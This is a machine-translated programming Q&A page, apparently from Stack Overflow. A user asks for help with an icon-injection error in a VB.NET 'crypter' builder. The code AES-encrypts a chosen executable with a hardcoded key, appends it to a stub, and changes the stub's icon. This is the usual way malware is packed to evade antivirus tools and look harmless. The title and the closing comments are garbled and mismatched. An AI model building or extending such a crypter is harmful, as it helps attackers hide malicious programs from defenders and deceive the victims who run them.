Vb.net Visual Basic无法在vb中声明“IConject”

嗨，我正试图编辑一个密码器，我发现它添加了一些东西，我试图做的是添加一个图标转换器。错的是它给了我错误。带有2*的部分就是错误。此外，我也不确定是否有正确的方法找到要更改的exe文件。我正在尝试加密正在加密的文件。所以我放了：Application.StartupPath+\Stub.exe，FlatTextBox2.Text正在加密的文件的Application.StartupPath，图标路径的位置的FlatTextBox2.Text，如果没有，你能帮我吗

Imports System.Security.Cryptography
Imports System.IO
Public Class Form1
    Dim Hijackthis, Jack As String

    Private Sub FlatButton2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlatButton2.Click
        With OpenFileDialog1
            .FileName = ""
            .Filter = "Executable(*.exe)|*.exe"
            .Title = "Zappy Crypter"
            .ShowDialog()
            FlatTextBox1.Text = .FileName
            Hijackthis = FlatTextBox1.Text
        End With
    End Sub

    Private Sub FlatButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlatButton1.Click
        Dim key As String = "54321"
        Dim Splitt As String = "54321"
        Dim Cryptfile As String
        FileOpen(1, Application.StartupPath + "\Thing.exe", OpenMode.Binary)
        Jack = Space(LOF(1))
        FileGet(1, Jack)
        FileClose(1)
        FileOpen(1, (FlatTextBox1.Text), OpenMode.Binary)
        Hijackthis = Space(LOF(1))
        FileGet(1, Hijackthis)
        FileClose(1)
        Cryptfile = Hijackthis
        Dim oAesProvider As New RijndaelManaged
        Dim btClear() As Byte

        Dim btSalt() As Byte = New Byte() {12, 23, 34, 45, 56, 67, 78, 89}

        Dim oKeyGenerator As New Rfc2898DeriveBytes(key, btSalt)

        oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
        oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)

        Dim ms As New IO.MemoryStream
        Dim cs As New CryptoStream(ms, _
          oAesProvider.CreateEncryptor(), _
          CryptoStreamMode.Write)
        btClear = System.Text.Encoding.UTF8.GetBytes(Cryptfile)
        cs.Write(btClear, 0, btClear.Length)
        cs.Close()
        Cryptfile = Convert.ToBase64String(ms.ToArray)
        FileOpen(1, Application.StartupPath + "\Stub.exe", OpenMode.Binary)
        FilePut(1, Jack)
        FilePut(1, Splitt)
        FilePut(1, Cryptfile)
        FilePut(1, Splitt)
        FileClose(1)
        MsgBox("Crypting Now!")
        MsgBox("File Crypted Succesfully", MsgBoxStyle.Information, "Success")

        If FlatTextBox2.Text = "" Then
            MsgBox("Please Pick A Icon Format File", MsgBoxStyle.Critical, "Error Changing The Icon")
        End If

        If FlatTextBox2.Text = "" Then Exit Sub

        **IconInjector**.InjectIcon(Application.StartupPath + "\Stub.exe", FlatTextBox2.Text)
        MsgBox("Icon Changed Successfully!", MsgBoxStyle.Information, "Success")
    End Sub

    Private Sub FlatButton3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlatButton3.Click
        OpenFileDialog1.DefaultExt = "ico"
        OpenFileDialog1.Filter = "icon files (*.ico)|*.ico"
        OpenFileDialog1.FilterIndex = 1
        If OpenFileDialog1.ShowDialog(Me) = DialogResult.OK Then
            FlatTextBox2.Text = String.Empty
            FlatTextBox2.Text = OpenFileDialog1.FileName
        End If
    End Sub
End Class

---

请将完整的错误消息添加到问题中您是否添加了对包含IConject类的程序集的引用？您是否在代码顶部添加了适当的Imports语句？请帮助我解决这个python问题。请不要将以前的问题编辑成一个全新的问题。如果你有不同的问题，